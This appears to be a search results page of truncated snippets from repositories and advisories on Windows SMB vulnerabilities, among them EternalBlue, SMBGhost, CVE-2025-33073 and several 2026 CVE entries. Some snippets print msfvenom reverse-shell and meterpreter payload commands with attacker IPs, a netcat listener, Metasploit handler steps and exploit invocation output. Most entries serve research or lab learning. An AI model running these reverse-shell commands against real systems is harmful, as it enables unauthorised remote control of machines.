450 matches found
SMB-Protocol-Vulnerability_CVE-2017-0144
LAB: ATAQUE AL SISTEMA OPERATIVO WINDOWS BASADO EN LA VULNERABILIDAD DEL PROTOCOLO SMB. 1. DESCRIPCIÓN 2. INTRODUCCIÓN 3. PREPARACIÓN 4. REALIZACIÓN DEL ATAQUE 5. CÓMO PREVENIR 1. DESCRIPCIÓN En este laboratorio usaremos dos computadoras para simular un ataque basado en la vulnerabilidad del...
CVE-2025-33073
CVE-2025-33073 — Escalada de Privilegios por Reflexión NTLM en el Cliente SMB de Windows Informe de investigación por Sentinel AI Defense. Solo análisis defensivo — no se publica ningún exploit funcional ni PoC aquí. Una falla de control de acceso inadecuado en el Cliente SMB de Windows que reviv...
SMBGhost-LPE-Metasploit-Module
SMBGhost-LPE-Metasploit-Module 这是一个针对CVE-2020-0796（又名SMBGhost）漏洞的实现，兼容Metasploit Framework。 注意事项： 此模块设计为在您拥有有效Shell时用于提升权限。 您可以更改有效载荷，如果您想使用自定义的DLL Shellcode，或者以某种方式对其进行编码。 可执行文件经过修改以规避检测，并使其能够运行并注入DLL Shellcode。 演示 致谢 感谢漏洞利用的作者 Daniel García Gutiérrez, Manuel Blanco Parajón。 同时感谢Spencer...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usando msfvenom para generar un payload: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Especifica el payload una shell TCP reversa para Windows. LHOST=10.10.14.4: La dirección IP...
SMBGhost_RCE_PoC
SMBGhostRCEPoC CVE-2020-0796 "SMBGhost" 的 RCE PoC 仅用于演示目的！仅将此作为参考使用。说真的，该代码未在我的实验环境之外进行测试。它是快速编写的，需要进一步改进才能更可靠。有时会导致蓝屏。将该代码用于自我教育以外的任何目的都是极其糟糕的主意。你的电脑会燃起火焰。小狗会死去。 现在把那些话说完…… 使用示例： $SMBGhostRCEPoC python exploit.py -ip 192.168.142.131 + found low stub at phys addr 13000! + PML4 at 1ad000 + base of...
CVE-2022-24500
CVE-2022-24500 RCE 漏洞利用 Windows SMB 远程代码执行漏洞 受影响版本：Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 步骤 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 步骤 2 msf5 use multi/handler msf5 exploitmulti/handle...
CVE-2020-0796
CVE-2020-0796 CVE-2020-0796 解释与漏洞研究，适用于初学者的 CENG325 学期项目 如何利用？ 用于反向 Shell 的用户载荷生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 监听端口： nc -lvnp 5555 漏洞利用代码执行： python3 exploit.py -ip TARGETIP PoC 仓库 https://github.com/chompie1337/SMBGhostRCEPoC...
Vulnerability-Research-CVE-2017-0144
Vulnerability-Research-CVE-2017-0144 LAB: 基于SMB协议漏洞的Windows操作系统攻击 I. 描述 在本实验中，我们将使用两台计算机模拟一次基于Windows操作系统SMB协议漏洞的攻击。一台运行Kali Linux操作系统，扮演攻击者（黑客）。另一台计算机扮演受害者（victim）。受害者计算机运行包含SMB漏洞的Windows 7 64位操作系统。为此，我们将在Kali Linux上使用名为EternalBlue的利用代码攻击Windows 7计算机。 II. 概述 服务器消息块（SMB）是Microsoft...
windows-smb-vulnerability-framework-cve-2025-33073
Marco de Investigación de Vulnerabilidades del Cliente SMB de Windows Autor: cyberseallll Creado: 2025 Descripción General Desarrollé este marco de investigación para analizar y comprender CVE-2025-33073, una vulnerabilidad crítica de Elevación de Privilegios en el Cliente SMB de Windows. Esta...
CVE-2022-26937
PoC de Caída del Sistema de Archivos de Red de Windows CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data...
Blackash-CVE-2025-33073
✨ CVE-2025-33073: Vulnerabilidad de RCE en Windows SMB 🚨 🔥 Ejecución remota de código autenticada de alta gravedad 🔥 Control de acceso inadecuado en el cliente SMB de Windows CWE-284 🛡️ Detalles clave de un vistazo Aspecto| Detalles ---|--- Puntuación CVSS v3.1| 8.8 Alta 🔥 Sistemas afectados|...
CVE-2026-72936
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-69618
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally...
CVE-2026-69572
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network...
CVE-2026-69544
Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...
CVE-2026-69403
Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...
CVE-2026-69374
Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...
EUVD-2026-73664
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-72936
CVE-2026-72936 is a use-after-free vulnerability in the Windows SMB Client that allows an unauthorized, remote attacker to achieve remote code execution over the network. The CVSS 3.1 base score is 8.1 (HIGH) , reflecting a network attack vector with high complexity, no required privileges, and n...